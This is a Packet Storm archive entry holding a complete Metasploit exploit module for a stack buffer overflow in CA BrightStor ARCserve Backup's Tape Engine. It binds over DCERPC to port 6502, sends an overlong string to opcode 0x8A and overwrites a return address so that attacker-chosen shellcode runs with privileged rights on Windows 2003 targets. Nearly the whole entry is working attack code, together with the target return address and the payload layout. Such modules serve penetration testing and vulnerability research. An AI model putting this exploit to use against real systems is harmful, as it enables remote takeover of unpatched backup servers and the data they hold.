CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow

2013-09-20T00:00:00
ID PACKETSTORM:123338
Type packetstorm
Reporter MC
Modified 2013-09-20T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::DCERPC  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup  
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow  
the buffer and execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '68330'],  
[ 'URL', 'http://www.metasploit.com/users/mc' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],  
],  
'DisclosureDate' => 'Oct 4 2010',  
'DefaultTarget' => 0))  
  
register_options([ Opt::RPORT(6502) ], self.class)  
end  
  
def exploit  
  
connect  
  
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"  
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
  
dcerpc.call(0x2B, request)  
  
sploit = NDR.long(4)  
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")  
  
print_status("Trying target #{target.name}...")  
  
begin  
dcerpc_call(0x8A, sploit)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
handler  
disconnect  
  
end  
  
end  
=begin  
/* opcode: 0x8A, address: 0x100707D0 */  
  
long sub_100707D0 (  
[in] handle_t arg_1,  
[in] long arg_2,  
[in][ref][string] char * arg_3  
);  
=end  
`